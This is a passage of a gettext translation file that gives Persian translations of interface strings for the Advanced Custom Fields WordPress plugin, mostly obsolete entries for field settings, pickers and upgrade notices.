#~ msgstr "عدم نمایش جزئیات"

#~ msgid "Restricted"
#~ msgstr "ممنوع"

#~ msgid "All images"
#~ msgstr "تمام تصاویر"

#~ msgid "Validation successful"
#~ msgstr "اعتبار سنجی موفق بود"

#~ msgid "Validation failed"
#~ msgstr "مشکل در اعتبار سنجی"

#~ msgid "1 field requires attention"
#~ msgstr "یکی از گزینه ها نیاز به بررسی دارد"

#, php-format
#~ msgid "%d fields require attention"
#~ msgstr "%d گزینه نیاز به بررسی دارد"

#~ msgid "Are you sure?"
#~ msgstr "اطمینان دارید؟"

#~ msgid "Cancel"
#~ msgstr "لغو"

#~ msgid "Has any value"
#~ msgstr "هر نوع مقدار"

#~ msgid "Has no value"
#~ msgstr "بدون مقدار"

#~ msgid "Value is equal to"
#~ msgstr "مقدار برابر است با"

#~ msgid "Value is not equal to"
#~ msgstr "مقدار برابر نیست با"

#~ msgid "Value matches pattern"
#~ msgstr "مقدار الگوی"

#~ msgid "Value contains"
#~ msgstr "شامل می شود"

#~ msgid "Value is greater than"
#~ msgstr "مقدار بیشتر از"

#~ msgid "Value is less than"
#~ msgstr "مقدار کمتر از"

#~ msgid "Selection is greater than"
#~ msgstr "انتخاب بیشتر از"

#~ msgid "Selection is less than"
#~ msgstr "انتخاب کمتر از"

#~ msgid "Field type does not exist"
#~ msgstr "نوع زمینه وجود ندارد"

#~ msgid "Unknown"
#~ msgstr "ناشناخته"

#~ msgid "Basic"
#~ msgstr "پایه"

#~ msgid "Content"
#~ msgstr "محتوا"

#~ msgid "Choice"
#~ msgstr "انتخاب"

#~ msgid "Relational"
#~ msgstr "رابطه"

#~ msgid "jQuery"
#~ msgstr "جی کوئری"

#~ msgid "Accordion"
#~ msgstr "آکاردئونی"

#~ msgid "Open"
#~ msgstr "باز"

#~ msgid "Display this accordion as open on page load."
#~ msgstr "نمایش آکوردئون این به عنوان باز در بارگذاری صفحات."

#~ msgid "Multi-expand"
#~ msgstr "چند گسترش"

#~ msgid "Allow this accordion to open without closing others."
#~ msgstr "اجازه دهید این آکوردئون بدون بستن دیگر آکاردئون‌ها باز شود."

#~ msgid "Endpoint"
#~ msgstr "نقطه پایانی"

#~ msgid ""
#~ "Define an endpoint for the previous accordion to stop. This accordion will "
#~ "not be visible."
#~ msgstr ""
#~ "یک نقطه پایانی برای توقف آکاردئون قبلی تعریف کنید. این آکاردئون مخفی خواهد "
#~ "بود."

#~ msgid "Button Group"
#~ msgstr "گروه دکمه‌ها"

#~ msgid "Choices"
#~ msgstr "انتخاب ها"

#~ msgid "Enter each choice on a new line."
#~ msgstr "هر انتخاب را در یک خط جدید وارد کنید."

#~ msgid "For more control, you may specify both a value and label like this:"
#~ msgstr ""
#~ "برای کنترل بیشتر، ممکن است هر دو مقدار و برچسب را مانند زیر مشخص کنید:"

#~ msgid "red : Red"
#~ msgstr "red : قرمز"

#~ msgid "Allow Null?"
#~ msgstr "آیا Null مجاز است؟"

#~ msgid "Default Value"
#~ msgstr "مقدار پیش فرض"

#~ msgid "Appears when creating a new post"
#~ msgstr "هنگام ایجاد یک نوشته جدید نمایش داده می شود"

#~ msgid "Horizontal"
#~ msgstr "افقی"

#~ msgid "Vertical"
#~ msgstr "عمودی"

#~ msgid "Return Value"
#~ msgstr "مقدار بازگشت"

#~ msgid "Specify the returned value on front end"
#~ msgstr "مقدار برگشتی در نمایش نهایی را تعیین کنید"

#~ msgid "Value"
#~ msgstr "مقدار"

#~ msgid "Both (Array)"
#~ msgstr "هر دو (آرایه)"

#~ msgid "Checkbox"
#~ msgstr "جعبه انتخاب (Checkbox)"

#~ msgid "Toggle All"
#~ msgstr "انتخاب همه"

#~ msgid "Add new choice"
#~ msgstr "درج انتخاب جدید"

#~ msgid "Allow Custom"
#~ msgstr "اجازه دلخواه"

#~ msgid "Allow 'custom' values to be added"
#~ msgstr "اجازه درج مقادیر دلخواه"

#~ msgid "Save Custom"
#~ msgstr "ذخیره دلخواه"

#~ msgid "Save 'custom' values to the field's choices"
#~ msgstr "ذخیره مقادیر دلخواه در انتخاب های زمینه"

#~ msgid "Enter each default value on a new line"
#~ msgstr "هر مقدار پیش فرض را در یک خط جدید وارد کنید"

#~ msgid "Toggle"
#~ msgstr "انتخاب"

#~ msgid "Prepend an extra checkbox to toggle all choices"
#~ msgstr "اضافه کردن چک باکس اضافی برای انتخاب همه"

#~ msgid "Color Picker"
#~ msgstr "انتخاب کننده رنگ"

#~ msgid "Clear"
#~ msgstr "پاکسازی"

#~ msgid "Default"
#~ msgstr "پیش فرض"

#~ msgid "Select Color"
#~ msgstr "رنگ را انتخاب کنید"

#~ msgid "Current Color"
#~ msgstr "رنگ فعلی"

#~ msgid "Date Picker"
#~ msgstr "تاریخ"

#~ msgctxt "Date Picker JS closeText"
#~ msgid "Done"
#~ msgstr "انجام شد"

#~ msgctxt "Date Picker JS currentText"
#~ msgid "Today"
#~ msgstr "امروز"

#~ msgctxt "Date Picker JS nextText"
#~ msgid "Next"
#~ msgstr "بعدی"

#~ msgctxt "Date Picker JS prevText"
#~ msgid "Prev"
#~ msgstr "قبلی"

#~ msgctxt "Date Picker JS weekHeader"
#~ msgid "Wk"
#~ msgstr "هفته"

#~ msgid "Display Format"
#~ msgstr "فرمت نمایش"

#~ msgid "The format displayed when editing a post"
#~ msgstr "قالب در زمان نمایش نوشته دیده خواهد شد"

#~ msgid "Custom:"
#~ msgstr "دلخواه:"

#~ msgid "Save Format"
#~ msgstr "ذخیره قالب"

#~ msgid "The format used when saving a value"
#~ msgstr "قالب استفاده در زمان ذخیره مقدار"

#~ msgid "The format returned via template functions"
#~ msgstr "قالب توسط توابع پوسته نمایش داده خواهد شد"

#~ msgid "Week Starts On"
#~ msgstr "اولین روز هفته"

#~ msgid "Date Time Picker"
#~ msgstr "انتخاب کننده زمان و تاریخ"

#~ msgctxt "Date Time Picker JS timeOnlyTitle"
#~ msgid "Choose Time"
#~ msgstr "انتخاب زمان"

#~ msgctxt "Date Time Picker JS timeText"
#~ msgid "Time"
#~ msgstr "زمان"

#~ msgctxt "Date Time Picker JS hourText"
#~ msgid "Hour"
#~ msgstr "ساعت"

#~ msgctxt "Date Time Picker JS minuteText"
#~ msgid "Minute"
#~ msgstr "دقیقه"

#~ msgctxt "Date Time Picker JS secondText"
#~ msgid "Second"
#~ msgstr "ثانیه"

#~ msgctxt "Date Time Picker JS millisecText"
#~ msgid "Millisecond"
#~ msgstr "میلی ثانیه"

#~ msgctxt "Date Time Picker JS microsecText"
#~ msgid "Microsecond"
#~ msgstr "میکرو ثانیه"

#~ msgctxt "Date Time Picker JS timezoneText"
#~ msgid "Time Zone"
#~ msgstr "منطقه زمانی"

#~ msgctxt "Date Time Picker JS currentText"
#~ msgid "Now"
#~ msgstr "الان"

#~ msgctxt "Date Time Picker JS closeText"
#~ msgid "Done"
#~ msgstr "انجام شد"

#~ msgctxt "Date Time Picker JS selectText"
#~ msgid "Select"
#~ msgstr "انتخاب"

#~ msgctxt "Date Time Picker JS amText"
#~ msgid "AM"
#~ msgstr "صبح"

#~ msgctxt "Date Time Picker JS amTextShort"
#~ msgid "A"
#~ msgstr "صبح"

#~ msgctxt "Date Time Picker JS pmText"
#~ msgid "PM"
#~ msgstr "عصر"

#~ msgctxt "Date Time Picker JS pmTextShort"
#~ msgid "P"
#~ msgstr "عصر"

#~ msgid "Email"
#~ msgstr "پست الکترونیکی"

#~ msgid "Placeholder Text"
#~ msgstr "نگهدارنده مکان متن"

#~ msgid "Appears within the input"
#~ msgstr "در داخل ورودی نمایش داده می شود"

#~ msgid "Prepend"
#~ msgstr "پیشوند"

#~ msgid "Appears before the input"
#~ msgstr "قبل از ورودی نمایش داده می شود"

#~ msgid "Append"
#~ msgstr "پسوند"

#~ msgid "Appears after the input"
#~ msgstr "بعد از ورودی نمایش داده می شود"

#~ msgid "File"
#~ msgstr "پرونده"

#~ msgid "Edit File"
#~ msgstr "ویرایش پرونده"

#~ msgid "Update File"
#~ msgstr "بروزرسانی پرونده"

#~ msgid "File name"
#~ msgstr "نام فایل"

#~ msgid "Add File"
#~ msgstr "افزودن پرونده"

#~ msgid "File Array"
#~ msgstr "آرایه فایل"

#~ msgid "File URL"
#~ msgstr "آدرس پرونده"

#~ msgid "File ID"
#~ msgstr "شناسه(ID) پرونده"

#~ msgid "Restrict which files can be uploaded"
#~ msgstr "محدودیت در آپلود فایل ها"

#~ msgid "Google Map"
#~ msgstr "نقشه گوگل"

#~ msgid "Sorry, this browser does not support geolocation"
#~ msgstr "با عرض پوزش، این مرورگر از موقعیت یابی جغرافیایی پشتیبانی نمی کند"

#~ msgid "Clear location"
#~ msgstr "حذف مکان"

#~ msgid "Find current location"
#~ msgstr "پیدا کردن مکان فعلی"

#~ msgid "Search for address..."
#~ msgstr "جستجو برای آدرس . . ."

#~ msgid "Center"
#~ msgstr "مرکز"

#~ msgid "Center the initial map"
#~ msgstr "نقشه اولیه را وسط قرار بده"

#~ msgid "Zoom"
#~ msgstr "بزرگنمایی"

#~ msgid "Set the initial zoom level"
#~ msgstr "تعین مقدار بزرگنمایی اولیه"

#~ msgid "Customize the map height"
#~ msgstr "سفارشی سازی ارتفاع نقشه"

#~ msgid "Group"
#~ msgstr "گروه"

#~ msgid "Image"
#~ msgstr "تصویر"

#~ msgid "Select Image"
#~ msgstr "انتخاب تصویر"

#~ msgid "Edit Image"
#~ msgstr "ویرایش تصویر"

#~ msgid "Update Image"
#~ msgstr "بروزرسانی تصویر"

#~ msgid "No image selected"
#~ msgstr "هیچ تصویری انتخاب نشده"

#~ msgid "Add Image"
#~ msgstr "افزودن تصویر"

#~ msgid "Shown when entering data"
#~ msgstr "هنگام وارد کردن داده ها نمایش داده می شود"

#~ msgid "Link"
#~ msgstr "لینک"

#~ msgid "Select Link"
#~ msgstr "انتخاب لینک"

#~ msgid "Opens in a new window/tab"
#~ msgstr "در پنجره جدید باز شود"

#~ msgid "Link Array"
#~ msgstr "آرایه لینک"

#~ msgid "Link URL"
#~ msgstr "آدرس لینک"

#~ msgid "Message"
#~ msgstr "پیام"

#~ msgid "New Lines"
#~ msgstr "خطوط جدید"

#~ msgid "Controls how new lines are rendered"
#~ msgstr "تنظیم کنید که خطوط جدید چگونه نمایش داده شوند"

#~ msgid "Automatically add paragraphs"
#~ msgstr "پاراگراف ها خودکار اضافه شوند"

#~ msgid "Automatically add &lt;br&gt;"
#~ msgstr "اضافه کردن خودکار &lt;br&gt;"

#~ msgid "No Formatting"
#~ msgstr "بدون قالب بندی"

#~ msgid "Escape HTML"
#~ msgstr "حذف HTML"

#~ msgid "Allow HTML markup to display as visible text instead of rendering"
#~ msgstr "اجازه نمایش کدهای HTML به عنوان متن به جای اعمال آنها"

#~ msgid "Number"
#~ msgstr "عدد"

#~ msgid "Minimum Value"
#~ msgstr "حداقل مقدار"

#~ msgid "Maximum Value"
#~ msgstr "حداکثر مقدار"

#~ msgid "Step Size"
#~ msgstr "اندازه مرحله"

#~ msgid "Value must be a number"
#~ msgstr "مقدار باید عددی باشد"

#, php-format
#~ msgid "Value must be equal to or higher than %d"
#~ msgstr "مقدار باید مساوی یا بیشتر از %d باشد"

#, php-format
#~ msgid "Value must be equal to or lower than %d"
#~ msgstr "مقدار باید کوچکتر یا مساوی %d باشد"

#~ msgid "oEmbed"
#~ msgstr "oEmbed"

#~ msgid "Enter URL"
#~ msgstr "آدرس را وارد کنید"

#~ msgid "Embed Size"
#~ msgstr "اندازه جانمایی"

#~ msgid "Page Link"
#~ msgstr "پیوند (لینک) برگه/نوشته"

#~ msgid "Archives"
#~ msgstr "بایگانی ها"

#~ msgid "Parent"
#~ msgstr "مادر"

#~ msgid "Filter by Post Type"
#~ msgstr "فیلتر با نوع نوشته"

#~ msgid "All post types"
#~ msgstr "تمام انواع نوشته"

#~ msgid "Filter by Taxonomy"
#~ msgstr "فیلتر با طبقه بندی"

#~ msgid "All taxonomies"
#~ msgstr "تمام طبقه بندی ها"

#~ msgid "Allow Archives URLs"
#~ msgstr "اجازه آدرس های آرشیو"

#~ msgid "Select multiple values?"
#~ msgstr "آیا چندین مقدار انتخاب شوند؟"

#~ msgid "Password"
#~ msgstr "رمزعبور"

#~ msgid "Post Object"
#~ msgstr "آبجکت یک نوشته"

#~ msgid "Post ID"
#~ msgstr "شناسه(ID) نوشته"

#~ msgid "Radio Button"
#~ msgstr "دکمه رادیویی"

#~ msgid "Other"
#~ msgstr "دیگر"

#~ msgid "Add 'other' choice to allow for custom values"
#~ msgstr "افزودن گزینه 'دیگر' برای ثبت مقادیر دلخواه"

#~ msgid "Save Other"
#~ msgstr "ذخیره دیگر"

#~ msgid "Save 'other' values to the field's choices"
#~ msgstr "ذخیره مقادیر دیگر در انتخاب های زمینه"

#~ msgid "Range"
#~ msgstr "محدوده"

#~ msgid "Relationship"
#~ msgstr "ارتباط"

#~ msgid "Maximum values reached ( {max} values )"
#~ msgstr "مقادیر به حداکثر رسیده اند ( {max} آیتم )"

#~ msgid "Loading"
#~ msgstr "درحال خواندن"

#~ msgid "No matches found"
#~ msgstr "مطابقتی یافت نشد"

#~ msgid "Select post type"
#~ msgstr "انتحاب نوع نوشته"

#~ msgid "Select taxonomy"
#~ msgstr "انتخاب طبقه بندی"

#~ msgid "Search..."
#~ msgstr "جستجو . . ."

#~ msgid "Filters"
#~ msgstr "فیلترها"

#~ msgid "Post Type"
#~ msgstr "نوع نوشته"

#~ msgid "Taxonomy"
#~ msgstr "طبقه بندی"

#~ msgid "Elements"
#~ msgstr "عناصر"

#~ msgid "Selected elements will be displayed in each result"
#~ msgstr "عناصر انتخاب شده در هر نتیجه نمایش داده خواهند شد"

#~ msgid "Minimum posts"
#~ msgstr "حداقل تعداد نوشته‌ها"

#~ msgid "Maximum posts"
#~ msgstr "حداکثر تعداد نوشته ها"

#, php-format
#~ msgid "%s requires at least %s selection"
#~ msgid_plural "%s requires at least %s selections"
#~ msgstr[0] "%s به حداقل  %s انتخاب نیاز دارد"
#~ msgstr[1] "%s به حداقل  %s انتخاب نیاز دارد"

#~ msgctxt "noun"
#~ msgid "Select"
#~ msgstr "انتخاب (Select)"

#~ msgctxt "Select2 JS matches_1"
#~ msgid "One result is available, press enter to select it."
#~ msgstr "یک نتیجه موجود است برای انتخاب Enter را فشار دهید."

#, php-format
#~ msgctxt "Select2 JS matches_n"
#~ msgid "%d results are available, use up and down arrow keys to navigate."
#~ msgstr ""
#~ "نتایج %d در دسترس است با استفاده از کلید بالا و پایین روی آنها حرکت کنید."

#~ msgctxt "Select2 JS matches_0"
#~ msgid "No matches found"
#~ msgstr "مشابهی یافت نشد"

#~ msgctxt "Select2 JS input_too_short_1"
#~ msgid "Please enter 1 or more characters"
#~ msgstr "یک یا چند حرف وارد کنید"

#, php-format
#~ msgctxt "Select2 JS input_too_short_n"
#~ msgid "Please enter %d or more characters"
#~ msgstr "لطفا %d یا چند کاراکتر دیگر وارد کنید"

#~ msgctxt "Select2 JS input_too_long_1"
#~ msgid "Please delete 1 character"
#~ msgstr "یک  حرف را حذف کنید"

#, php-format
#~ msgctxt "Select2 JS input_too_long_n"
#~ msgid "Please delete %d characters"
#~ msgstr "لطفا %d کاراکتر را حذف کنید"

#~ msgctxt "Select2 JS selection_too_long_1"
#~ msgid "You can only select 1 item"
#~ msgstr "فقط می توانید یک آیتم را انتخاب کنید"

#, php-format
#~ msgctxt "Select2 JS selection_too_long_n"
#~ msgid "You can only select %d items"
#~ msgstr "شما فقط می توانید %d مورد را انتخاب کنید"

#~ msgctxt "Select2 JS load_more"
#~ msgid "Loading more results&hellip;"
#~ msgstr "بارگذاری نتایج بیشتر&hellip;"

#~ msgctxt "Select2 JS searching"
#~ msgid "Searching&hellip;"
#~ msgstr "جستجو &hellip;"

#~ msgctxt "Select2 JS load_fail"
#~ msgid "Loading failed"
#~ msgstr "خطا در فراخوانی داده ها"

#~ msgid "Stylised UI"
#~ msgstr "ظاهر بهینه شده"

#~ msgid "Use AJAX to lazy load choices?"
#~ msgstr "از ایجکس برای خواندن گزینه های استفاده شود؟"

#~ msgid "Specify the value returned"
#~ msgstr "مقدار بازگشتی را انتخاب کنید"

#~ msgid "Separator"
#~ msgstr "جداکننده"

#~ msgid "Tab"
#~ msgstr "تب"

#~ msgid "Placement"
#~ msgstr "جانمایی"

#~ msgid ""
#~ "Define an endpoint for the previous tabs to stop. This will start a new "
#~ "group of tabs."
#~ msgstr ""
#~ "یک نقطه پایانی برای توقف زبانه قبلی تعریف کنید. این کار باعث می‌شود گروه "
#~ "جدیدی از زبانه‌ها ایجاد شود."

#, php-format
#~ msgctxt "No terms"
#~ msgid "No %s"
#~ msgstr "بدون  %s"

#~ msgid "Select the taxonomy to be displayed"
#~ msgstr "طبقه‌بندی را برای برون بری انتخاب کنید"

#~ msgid "Appearance"
#~ msgstr "ظاهر"

#~ msgid "Select the appearance of this field"
#~ msgstr "ظاهر این زمینه را مشخص کنید"

#~ msgid "Multiple Values"
#~ msgstr "چندین مقدار"

#~ msgid "Multi Select"
#~ msgstr "چندین انتخاب"

#~ msgid "Single Value"
#~ msgstr "تک مقدار"

#~ msgid "Radio Buttons"
#~ msgstr "دکمه‌های رادیویی"

#~ msgid "Create Terms"
#~ msgstr "ساخت آیتم (ترم)"

#~ msgid "Allow new terms to be created whilst editing"
#~ msgstr "اجازه به ساخت آیتم‌ها(ترم‌ها) جدید در زمان ویرایش"

#~ msgid "Save Terms"
#~ msgstr "ذخیره ترم ها"

#~ msgid "Connect selected terms to the post"
#~ msgstr "الصاق آیتم های انتخابی به نوشته"

#~ msgid "Load Terms"
#~ msgstr "خواندن ترم ها"

#~ msgid "Load value from posts terms"
#~ msgstr "خواندن مقادیر از ترم های نوشته"

#~ msgid "Term Object"
#~ msgstr "به صورت آبجکت"

#~ msgid "Term ID"
#~ msgstr "شناسه(ID) آیتم(ترم)"

#, php-format
#~ msgid "User unable to add new %s"
#~ msgstr "کاربر قادر به اضافه کردن%s جدید نیست"

#, php-format
#~ msgid "%s already exists"
#~ msgstr "%s هم اکنون موجود است"

#, php-format
#~ msgid "%s added"
#~ msgstr "%s اضافه شد"

#~ msgid "Add"
#~ msgstr "افزودن"

#~ msgid "Text"
#~ msgstr "متن"

#~ msgid "Character Limit"
#~ msgstr "محدودیت کاراکتر"

#~ msgid "Leave blank for no limit"
#~ msgstr "برای نامحدود بودن این بخش را خالی بگذارید"

#, php-format
#~ msgid "Value must not exceed %d characters"
#~ msgstr "مقدار نباید از %d کاراکتر بیشتر شود"

#~ msgid "Text Area"
#~ msgstr "جعبه متن (متن چند خطی)"

#~ msgid "Rows"
#~ msgstr "سطرها"

#~ msgid "Sets the textarea height"
#~ msgstr "تعیین ارتفاع باکس متن"

#~ msgid "Time Picker"
#~ msgstr "انتخاب زمان"

#~ msgid "True / False"
#~ msgstr "صحیح / غلط"

#~ msgid "Displays text alongside the checkbox"
#~ msgstr "نمایش متن همراه انتخاب"

#~ msgid "On Text"
#~ msgstr "با متن"

#~ msgid "Text shown when active"
#~ msgstr "نمایش متن در زمان فعال بودن"

#~ msgid "Off Text"
#~ msgstr "بدون متن"

#~ msgid "Text shown when inactive"
#~ msgstr "نمایش متن در زمان غیر فعال بودن"

#~ msgid "Url"
#~ msgstr "URL"

#~ msgid "Value must be a valid URL"
#~ msgstr "مقدار باید یک آدرس صحیح باشد"

#~ msgid "User"
#~ msgstr "کاربر"

#~ msgid "Filter by role"
#~ msgstr "تفکیک با نقش"

#~ msgid "All user roles"
#~ msgstr "تمام نقش های کاربر"

#~ msgid "User Array"
#~ msgstr "آرایه کاربر"

#~ msgid "User Object"
#~ msgstr "آبجکت کاربر"

#~ msgid "User ID"
#~ msgstr "شناسه کاربر"

#~ msgid "Wysiwyg Editor"
#~ msgstr "ویرایشگر دیداری"

#~ msgid "Visual"
#~ msgstr "بصری"

#~ msgctxt "Name for the Text editor tab (formerly HTML)"
#~ msgid "Text"
#~ msgstr "متن"

#~ msgid "Click to initialize TinyMCE"
#~ msgstr "برای اجرای TinyMCE کلیک کنید"

#~ msgid "Tabs"
#~ msgstr "تب ها"

#~ msgid "Visual & Text"
#~ msgstr "بصری و متنی"

#~ msgid "Visual Only"
#~ msgstr "فقط بصری"

#~ msgid "Text Only"
#~ msgstr "فقط متن"

#~ msgid "Toolbar"
#~ msgstr "نوار ابزار"

#~ msgid "Show Media Upload Buttons?"
#~ msgstr "آیا دکمه‌های بارگذاری رسانه نمایش داده شوند؟"

#~ msgid "Delay initialization?"
#~ msgstr "نمایش با تاخیر؟"

#~ msgid "TinyMCE will not be initalized until field is clicked"
#~ msgstr "تا زمانی که روی فیلد کلیک نشود TinyMCE اجرا نخواهد شد"

#~ msgid "Validate Email"
#~ msgstr "اعتبار سنجی ایمیل"

#~ msgid "Post updated"
#~ msgstr "نوشته بروز شد"

#~ msgid "Spam Detected"
#~ msgstr "اسپم تشخیص داده شد"

#~ msgid "Post"
#~ msgstr "نوشته"

#~ msgid "Page"
#~ msgstr "برگه"

#~ msgid "Forms"
#~ msgstr "فرم ها"

#~ msgid "is equal to"
#~ msgstr "برابر شود با"

#~ msgid "is not equal to"
#~ msgstr "برابر نشود با"

#~ msgid "Attachment"
#~ msgstr "پیوست"

#, php-format
#~ msgid "All %s formats"
#~ msgstr "همه‌ی فرمت‌های %s"

#~ msgid "Comment"
#~ msgstr "دیدگاه"

#~ msgid "Current User Role"
#~ msgstr "نقش کاربرفعلی"

#~ msgid "Super Admin"
#~ msgstr "مدیرکل"

#~ msgid "Current User"
#~ msgstr "کاربر فعلی"

#~ msgid "Logged in"
#~ msgstr "وارده شده"

#~ msgid "Viewing front end"
#~ msgstr "درحال نمایش سمت کاربر"

#~ msgid "Viewing back end"
#~ msgstr "درحال نمایش سمت مدیریت"

#~ msgid "Menu Item"
#~ msgstr "آیتم منو"

#~ msgid "Menu"
#~ msgstr "منو"

#~ msgid "Menu Locations"
#~ msgstr "محل منو"

#~ msgid "Menus"
#~ msgstr "منوها"

#~ msgid "Page Parent"
#~ msgstr "برگه مادر"

#~ msgid "Page Template"
#~ msgstr "قالب برگه"

#~ msgid "Default Template"
#~ msgstr "پوسته پیش فرض"

#~ msgid "Page Type"
#~ msgstr "نوع برگه"

#~ msgid "Front Page"
#~ msgstr "برگه نخست"

#~ msgid "Posts Page"
#~ msgstr "برگه ی نوشته ها"

#~ msgid "Top Level Page (no parent)"
#~ msgstr "بالاترین سطح برگه(بدون والد)"

#~ msgid "Parent Page (has children)"
#~ msgstr "برگه مادر (دارای زیر مجموعه)"

#~ msgid "Child Page (has parent)"
#~ msgstr "برگه زیر مجموعه (دارای مادر)"

#~ msgid "Post Category"
#~ msgstr "دسته بندی نوشته"

#~ msgid "Post Format"
#~ msgstr "فرمت نوشته"

#~ msgid "Post Status"
#~ msgstr "وضعیت نوشته"

#~ msgid "Post Taxonomy"
#~ msgstr "طبقه بندی نوشته"

#~ msgid "Post Template"
#~ msgstr "قالب نوشته"

#~ msgid "User Form"
#~ msgstr "فرم کاربر"

#~ msgid "Add / Edit"
#~ msgstr "اضافه کردن/ویرایش"

#~ msgid "Register"
#~ msgstr "ثبت نام"

#~ msgid "User Role"
#~ msgstr "نقش کاربر"

#~ msgid "Widget"
#~ msgstr "ابزارک"

#, php-format
#~ msgid "%s value is required"
#~ msgstr "مقدار %s لازم است"

#, php-format
#~ msgid ""
#~ "To enable updates, please enter your license key on the <a href=\"%s"
#~ "\">Updates</a> page. If you don't have a licence key, please see <a href="
#~ "\"%s\">details & pricing</a>."
#~ msgstr ""
#~ "برای به روزرسانی لطفا کد لایسنس را وارد  کنید. <a href=\"%s\">بروزرسانی</"
#~ "a>. <a href=\"%s\">قیمت ها</a>."

#~ msgid "Testimonial"
#~ msgstr "توصیه‌نامه"

#~ msgid "A custom testimonial block."
#~ msgstr "بلوک سفارشی توصیه‌نامه (Testimonial)"

#~ msgid "Slider"
#~ msgstr "اسلایدر"

#~ msgid "A custom gallery slider."
#~ msgstr "اسلایدر گالری سفارشی"

#~ msgid "https://www.advancedcustomfields.com/"
#~ msgstr "https://www.advancedcustomfields.com/"

#~ msgid "Elliot Condon"
#~ msgstr "Elliot Condon"

#~ msgid "http://www.elliotcondon.com/"
#~ msgstr "http://www.elliotcondon.com/"

#~ msgid "Field group duplicated. %s"
#~ msgstr "گروه زمینه تکثیر شد. %s"

#~ msgid "%s field group duplicated."
#~ msgid_plural "%s field groups duplicated."
#~ msgstr[0] "%s گروه زمینه تکثیر شد"

#~ msgid "Field group synchronised. %s"
#~ msgstr "گروه زمینه هماهنگ شد. %s"

#~ msgid "%s field group synchronised."
#~ msgid_plural "%s field groups synchronised."
#~ msgstr[0] "گروه زمینه %s هماهنگ شده است"

#~ msgid "Customise WordPress with powerful, professional and intuitive fields."
#~ msgstr "سفارشی کردن وردپرس با زمینه های قدرتمند، حرفه ای و بصری."

#~ msgid "Error validating request"
#~ msgstr "خطا در اعتبار سنجی درخواست"

#~ msgid "<b>Error</b>. Could not load add-ons list"
#~ msgstr "<b>خطا</b>. لیست افزونه ها قابل خواندن نیست"

#~ msgid "Advanced Custom Fields Database Upgrade"
#~ msgstr "به‌روزرسانی پایگاه داده زمینه های دلخواه پیشرفته"

#~ msgid "Upgrade complete"
#~ msgstr "به‌روزرسانی انجام شد"

#~ msgid ""
#~ "Before you start using the new awesome features, please update your "
#~ "database to the newest version."
#~ msgstr ""
#~ "قبل از اینکه از تمام امکانات شگفت انگیز جدید استفاده کنید لازم است بانک "
#~ "اطلاعاتی را به روز کنید"

#~ msgid ""
#~ "Please also ensure any premium add-ons (%s) have first been updated to the "
#~ "latest version."
#~ msgstr ""
#~ "لطفا اطمینان حاصل کنید که افزودنی های تجاري (%s) ابتدا به آخرین نسخه بروز "
#~ "شده‌اند."

#~ msgid "Database Upgrade complete. <a href=\"%s\">See what's new</a>"
#~ msgstr ""
#~ "ارتقاء پایگاه داده کامل شد. <a href=\"%s\">تغییرات جدید را ببینید</a>"

#~ msgid "A smoother custom field experience"
#~ msgstr "احساس بهتر در استفاده از زمینه دلخواه"

#~ msgid ""
#~ "To help make upgrading easy, <a href=\"%s\">login to your store account</"
#~ "a> and claim a free copy of ACF PRO!"
#~ msgstr ""
#~ "برای به روزرسانی ساده <a href=\"%s\"> به بخش کاربری خود در فروشگاه وارد "
#~ "شوید </a> و یک نسخه از ویرایش حرفه ای را دانلود کنید!"

#~ msgid ""
#~ "We also wrote an <a href=\"%s\">upgrade guide</a> to answer any questions, "
#~ "but if you do have one, please contact our support team via the <a href="
#~ "\"%s\">help desk</a>"
#~ msgstr ""
#~ "همچنین یک <a href=\"%s\"> راهنمای به روزرسانی</a> برای پاسخ به سوالات "
#~ "نوشته ایم ولی اگر هنوز سوالی دارید از <a href=\"%s\">تیم پشتیبانی</a> "
#~ "بپرسید  "

#~ msgid "Under the Hood"
#~ msgstr "در پشت قضیه"

#~ msgid "Smarter field settings"
#~ msgstr "تنظیمات زمینه ها هوشمندتر شدند"

#~ msgid "ACF now saves its field settings as individual post objects"
#~ msgstr ""
#~ "افزونه اکنون تنظیمات زمینه ها را به عنوان آبجکت ها مختلف نوشته ذخیره می کند"

#~ msgid "More fields use AJAX powered search to speed up page loading"
#~ msgstr ""
#~ "زمینه های بیشتری از جستجوهای ایجکس برای کاهش بار صفحه استفاده می کنند"

#~ msgid "New auto export to JSON feature improves speed"
#~ msgstr "امکان جدید خرجی خودکار  JSON سرعت را بهبود بخشیده است"

#~ msgid "Better version control"
#~ msgstr "کنترل نسخه بهتر"

#~ msgid ""
#~ "New auto export to JSON feature allows field settings to be version "
#~ "controlled"
#~ msgstr "اکنون با خروجی جدید  JSON امکان کنترل نسخه بهتر را فراهم کردیم"

#~ msgid "Swapped XML for JSON"
#~ msgstr "جابجایی XML با JSON"

#~ msgid "Import / Export now uses JSON in favour of XML"
#~ msgstr "اکنون خروجی و ورودی از JSON استفاده می کند"

#~ msgid "New Forms"
#~ msgstr "فرم های جدید"

#~ msgid "Fields can now be mapped to comments, widgets and all user forms!"
#~ msgstr ""
#~ "گزینه ها اکنون می توانند به نظرات، ابزارک ها و حتی فرم های مربوط به "
#~ "کاربران متصل شوند !"

#~ msgid "A new field for embedding content has been added"
#~ msgstr "زمینه جدیدی برای جانمایی محتوا اضافه شده است"

#~ msgid "New Gallery"
#~ msgstr "گالری جدید"

#~ msgid "The gallery field has undergone a much needed facelift"
#~ msgstr "گالری دارای بهینه سازی هایی برای ارائه امکانات جدید شده است"

#~ msgid ""
#~ "Field group settings have been added for label placement and instruction "
#~ "placement"
#~ msgstr "تنظیماتی به گروه زمینه برای مکان برچسب ها و توضیحات اضافه شده است"

#~ msgid "acf_form() can now create a new post on submission"
#~ msgstr "تابع acf_form می تواند در زمان ارسال نوشته تولید کند !"

#~ msgid "Form validation is now done via PHP + AJAX in favour of only JS"
#~ msgstr ""
#~ "خطایابی فرم (validation) اکنون از طریق  PHP + AJAX  به جای JS انجام می شود"

#~ msgid "Relationship Field"
#~ msgstr "زمینه ارتباط"

#~ msgid ""
#~ "New Relationship field setting for 'Filters' (Search, Post Type, Taxonomy)"
#~ msgstr "تنظیمات جدید برای زمینه ارتباط و فیلتر کردن اضافه شده است"

#~ msgid ""
#~ "New field group functionality allows you to move a field between groups & "
#~ "parents"
#~ msgstr ""
#~ "عملکرد جدید گروه زمینه ها به شما امکان جابجایی زمینه ها بین گروه ها و بین "
#~ "گروه های والد را می دهد"

#~ msgid "New archives group in page_link field selection"
#~ msgstr "گروه بندی بایگانی جدید در انتخاب زمینه پیوند صفحه"

#~ msgid "Better Options Pages"
#~ msgstr "صفحه تنظیمات بهتر"

#~ msgid ""
#~ "New functions for options page allow creation of both parent and child "
#~ "menu pages"
#~ msgstr ""
